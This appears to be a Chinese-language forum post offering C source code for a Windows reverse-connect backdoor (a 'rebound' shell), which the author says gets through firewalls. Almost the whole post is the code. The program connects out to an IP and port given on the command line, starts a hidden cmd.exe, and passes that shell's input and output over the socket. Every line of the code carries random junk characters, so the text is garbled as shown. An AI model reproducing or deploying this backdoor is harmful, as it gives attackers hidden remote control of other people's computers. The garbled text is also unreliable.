这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &c|3v!
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/* ============================== &tJ!cTA.-
Rebound port in Windows NT _oILZ,
By wind,2006/7 r'bPSu,
===============================*/ UqA<rW
#include }MiEbLduN
#include Jn#05Z
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#pragma comment(lib,"wsock32.lib") C3]"y7
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void OutputShell(); dPm_jX
SOCKET sClient; DH>>u
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; t|5T,YFG
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void main(int argc,char **argv) }3TTtd7
{ $!ATj`}kb
WSADATA stWsaData; }#<mK3MBe
int nRet; nj(\+l5
SOCKADDR_IN stSaiClient,stSaiServer; C5F=J8pY
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if(argc != 3) jY +u OH
{ .,9e~6}
printf("Useage:\n\rRebound DestIP DestPort\n"); QyEGK
return; %0gcNk"=
} QF74'
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7;i [
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ] oMtqkiR
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stSaiClient.sin_family = AF_INET; zgnZ72%
stSaiClient.sin_port = htons(0); Bs!F |x(
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); qj#C8Tc7
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *q$O6B-
{ AhCqQ.O71
printf("Bind Socket Failed!\n"); >* )fmfY
return; ^aONuG9
} }ZKG-~
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stSaiServer.sin_family = AF_INET; k0(_0o
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;_oJGII?br
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i>aIuQ`pe
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S%p.|!
{ DCheG7lo{
printf("Connect Error!"); s$wIL//=
return; ;]PP+h
} v(`9+*
OutputShell(); 1Uaj}=@M
} ; "K"S[
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void OutputShell() "|^-Yk\U
{ [a[.tR38e
char szBuff[1024]; b$JrLZs$_
SECURITY_ATTRIBUTES stSecurityAttributes; ,vh$G 7D
OSVERSIONINFO stOsversionInfo; N87)rhXSo,
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;ipT0*Y
STARTUPINFO stStartupInfo; EZee
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char *szShell; WZQ
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PROCESS_INFORMATION stProcessInformation; =H_vRd
unsigned long lBytesRead; (~
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !zZ3F|+HB
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t[4V1:
stSecurityAttributes.lpSecurityDescriptor = 0; $l=&
stSecurityAttributes.bInheritHandle = TRUE; R8%%EEB
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{~"fq.h!M
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Q`m9I
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); n|N?[)^k
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }`uFLBG3
stStartupInfo.wShowWindow = SW_HIDE; )jPIBzMys
stStartupInfo.hStdInput = hReadPipe; : =f!>_r+
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :lBw0{fP
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GetVersionEx(&stOsversionInfo); BA6(Owb
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switch(stOsversionInfo.dwPlatformId) ;@FCaj&
{ vs%d}]v
case 1: '',g}WvRwe
szShell = "command.com"; {X EX0|TZ
break; Q.MbzSgXL
default: \&MJ(F>vJ
szShell = "cmd.exe"; {%+UQ!]d8
break; 3%(,f,
} ]R*h3U@5#K
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !!+LFe4su
;wa#m1
send(sClient,szMsg,77,0); v];P| Fi
while(1) j@s* hZ^J+
{ 9U4 D$M
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); g%_3
if(lBytesRead) >K!$@]2F
{ T$"sw7<
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); d<cqY<y VA
send(sClient,szBuff,lBytesRead,0); tNG[|Bi#
} BIXbdo5F
else O<P(UT"
{ VVw5)O1'
lBytesRead=recv(sClient,szBuff,1024,0); Y3JIDT^
if(lBytesRead<=0) break; :!/ (N
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); U8a5rF><
} qs>&Xn
} $U4[a:
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return; k![oJ.vHD
}